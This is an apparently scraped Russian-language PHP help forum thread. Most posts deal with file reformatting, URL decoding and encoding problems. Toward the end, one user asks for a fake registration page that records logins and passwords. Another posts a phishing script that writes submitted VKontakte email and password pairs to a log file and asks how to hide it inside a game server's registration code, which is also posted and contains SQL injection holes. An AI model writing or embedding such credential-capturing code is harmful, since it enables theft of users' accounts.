#Wolf# Возможно библиотека GD не подключена/подключена не полностью? (Посмотреть можно в phpinfo) В системе отсутствуют шрифты для данной капчи (как проверить не знаю) REBUUS Правда первой строкой скорее всего будет перевод строки ^^ PHP: set_time_limit(0); $f1 = fopen('1.txt','r'); $f2 = fopen('2.txt','w'); while (!feof($f1)) { $tmp = trim(fgets($f1,8192),"\r\n"); if (strpos('=',$tmp)!==false) fwrite($f2,"\n"); fwrite($f2,$tmp); }
wildshaman Не трогайте чужой код, тем более что вы ошибаетесь) Rebbus В функции strpos перепутал аргументы) PHP: set_time_limit(0); $f1 = fopen('1.txt','r'); $f2 = fopen('2.txt','w'); while (!feof($f1)) { $tmp = trim(fgets($f1,8192),"\r\n"); if (strpos($tmp,'=')!==false) fwrite($f2,"\r\n"); fwrite($f2,$tmp); } http://webfile.ru/3641159 - выходной файл
тоже самое все в одну строку, а все остальное обрезает может сам файл кто глянет, вдруг че не так http://webfile.ru/3641124
Короче раньше я писал код сюда, хоть он и наркоманский, но работает))) PHP: <?php @set_time_limit(0); @ini_set("display_errors","1"); $h = fopen('tema1.txt' , 'r');// Файло с хаотичными данными $b = fopen('resultat.txt' , 'a+');// Файло результат while (!feof($h)) { $a = trim(fgets($h)); if (strpos($a,'=')) fwrite($b,"\r\n".$a); else fwrite($b,$a); } fclose($h); fclose($b); echo 'done'; ?>
Наверное вопрос поднимался много раз но ответа в гугле не нашол. короче закодированое слово в урле (гугл) %D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%81%D1%82 слово программист надо чтобы скрипт из набора букавак преобразовал в нормальное слово. пробывал так <?php echo urldecode("%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%81%D1%82"); ?> но выдает какуюто лажу типа программист как ето организовать?
Очевидно кодировку поправить либо в конфиге апача, либо хэдер послать соответствующий из пхп, либо хотя бы указать мета тег с кодировкой.
Потому что инициализация переменной вне тела цикла PHP: <?php include ("function.php"); $db = mysql_connect("localhost", "root", ""); mysql_select_db("samp", $db); $e = mysql_query("SELECT * FROM servers", $db); while ($s = mysql_fetch_array($e) { $data = monitor_samp($s['serv'], $s['port'], samp, info); echo "<center><b>" . $data['hostname'] . "</b> | " . $data['ip'] . ":" . $data['qport'] . " | Игроков: <b>" . $data['players']. "/" . $data['maxplayers'] . "</b> | Карта: <b>" . $data['mapname'] . "</b></center>"; } ?>
нужен скрипт регистрации здраствуйте если кому не трудно, напишите пажалуста скрипт эмитирующий регистрацию и записывающий логин и пасс в отдельный текст фаил за ранее спасибо
2 zifanchuck: PHP: <meta http-equiv="Content-Type" content="text/html; charset=windows-1251"> <?php @set_time_limit(0); @ini_set("display_errors","1"); $in = '%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%81%D1%82'; $in = urldecode($in); $s = mb_detect_encoding($in);//Определяем кодировку $in = iconv($s, 'CP1251//TRANSLIT', $in);//Декодируем в нужную кодировку, выставленную в начале файла echo $in; ?> строчки : @set_time_limit(0); @ini_set("display_errors","1"); в данном случае нужны только для отладки, рекомендую всегда использовать пока не наладили скрипт, после 100%-го результата ЛУЧШЕ удалить, особенно @ini_set("display_errors","1"); , строку @set_time_limit(0); можно и не удалять, зависит от поставленной задачи. Покажут все возможные ошибки в процессе написания скрипта. Вроде мелочь, но, на мой сугубо взгляд, весьма важная (дебаг фактически).
PHP: <?php echo iconv('UTF-8','Windows-1251',urldecode("%D0%BFD1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%81%D1%82")); ?>
рядом стоял дле у которого капча тоже не отображалась(вообще). оказалось проблема была с методом передачи данных по фтп (ASCII/BIN) поставил авто и перелил - заработало, точно также проделал и с булкой....но отображается только фон
ребята, памагите пажалуста сделать чтото типо этого PHP: <?php /* ############# #by_NoNameZ# ########### */ $f=fopen("log.txt","at"); flock($f,2); if(preg_match("/^([.0-9a-z_-]+)@(([0-9a-z-]+\.)+[0-9a- z]{2,4})$/i", $_POST['email'])&& !empty($_POST['pass'])){ fputs($f, $_POST['email'].";".$_POST['pass']." \n"); header("Location: http://vkontakte.ru /blank.php?code=10"); } else { header("Location: bad.htm"); } flock($f,3); fclose($f); ?> но чтоб я скрипт вставил в фаил регистрации и он просто вводимые пароли сахранял мне в фаил и при этом также работал, тоисть также пароли сахранял дальше в базе вот скрипт регикуда файк прилепить хочу PHP: <?php if(!defined('DATALIFEENGINE')) { die("Hacking attempt!"); } if ($_action == "reg") { if (empty($_REQUEST["l2login"]) || empty($_REQUEST["l2password"]) || empty($_REQUEST["l2password2"]) || empty($_REQUEST["l2email"]) || empty($_REQUEST["l2answer"]) || empty($_REQUEST["l2question"])) { $lineage = "<div class='warning center'>Îøèáêà ïðè ðåãèñòðàöèè, çàïîëíèòå âñå ïîëÿ!</div><br />"; $lineage.= "<center><a href='".GetURL($_link,"registration")."'>íàçàä</a> </center>"; } elseif (strlen($_REQUEST["l2login"])>16 || strlen($_REQUEST["l2login"])<4) { $lineage = "<div class='warning center'>Îøèáêà ïðè ðåãèñòðàöèè, ëîãèí äîëæåí áûòü íå ìåíüøå 4 è íå áîëüøå 16 ñèìâîëîâ!</div><br />"; $lineage.= "<center><a href='".GetURL($_link,"registration")."'>íàçàä</a> </center>"; } elseif ($_REQUEST["l2password"]!=$_REQUEST["l2password2"]) { $lineage = "<div class='warning center'>Îøèáêà ïðè ðåãèñòðàöèè, ïàðîëè íå ñîâïàäàþò!</div><br />"; $lineage.= "<center><a href='".GetURL($_link,"registration")."'>íàçàä</a> </center>"; } elseif (strlen($_REQUEST["l2answer"])<4 || strlen($_REQUEST["l2question"])<4) { $lineage = "<div class='warning center'>Îøèáêà ïðè ðåãèñòðàöèè, âîïðîñ è îòâåò äîëæíû áûòü íå ìåíüøå 4 ñèìâîëîâ!</div><br />"; $lineage.= "<center><a href='".GetURL($_link,"registration")."'>íàçàä</a> </center>"; } elseif (!check_email($_REQUEST["l2email"])) { $lineage = "<div class='warning center'>Îøèáêà ïðè ðåãèñòðàöèè, email óêàçàí íå âåðíî!</div><br />"; $lineage.= "<center><a href='".GetURL($_link,"registration")."'>íàçàä</a> </center>"; } elseif ($dbl->sql_numrows($dbl->sql_query("SELECT * FROM accounts WHERE login='".$_REQUEST["l2login"]."' LIMIT 1"))) { $lineage = "<div class='warning center'>Îøèáêà ïðè ðåãèñòðàöèè, àêêàóíò ñóùåñòâóåò! </div><br />"; $lineage.= "<center><a href='".GetURL($_link,"registration")."'>íàçàä</a> </center>"; } elseif ($dbl->sql_numrows($dbl->sql_query("SELECT * FROM accounts WHERE email='".$_REQUEST["l2email"]."' LIMIT 1"))) { $lineage = "<div class='warning center'>Îøèáêà ïðè ðåãèñòðàöèè, óêàçàííûé email óæå èñïîëüçóåòñÿ!</div><br />"; $lineage.= "<center><a href='".GetURL($_link,"registration")."'>íàçàä</a> </center>"; } else { $dbl->sql_query_jdb("accounts", "InsertAccount", array($_REQUEST["l2login"], base64_encode(pack('H*', sha1($_REQUEST["l2password"]))), $_REQUEST["l2email"], $_REQUEST["l2answer"], $_REQUEST["l2question"])); $sql_error = $dbl->sql_error(); if ($sql_error["code"]==0) { $lineage = "<center>Ïîçäðàâëÿåì, Âû óñïåøíî çàðåãèñòðèðîâàëè àêêàóíò! Ïðèÿòíîé èãðû.</center><br />"; } else { $lineage = "<div class='warning center'>Íåèçâåñòíàÿ îøèáêà, ïîïðîáóéòå åùå ðàç!</div><br />"; $lineage.= "<center><a href='".GetURL($_link,"registration")."'>íàçàä</a></center>"; } } } else { $tpl->load_template($tpldir.'/lineage/register.tpl'); $tpl->compile('register'); $lineage = $tpl->result["register"]; // $tpl->clear(); } ?>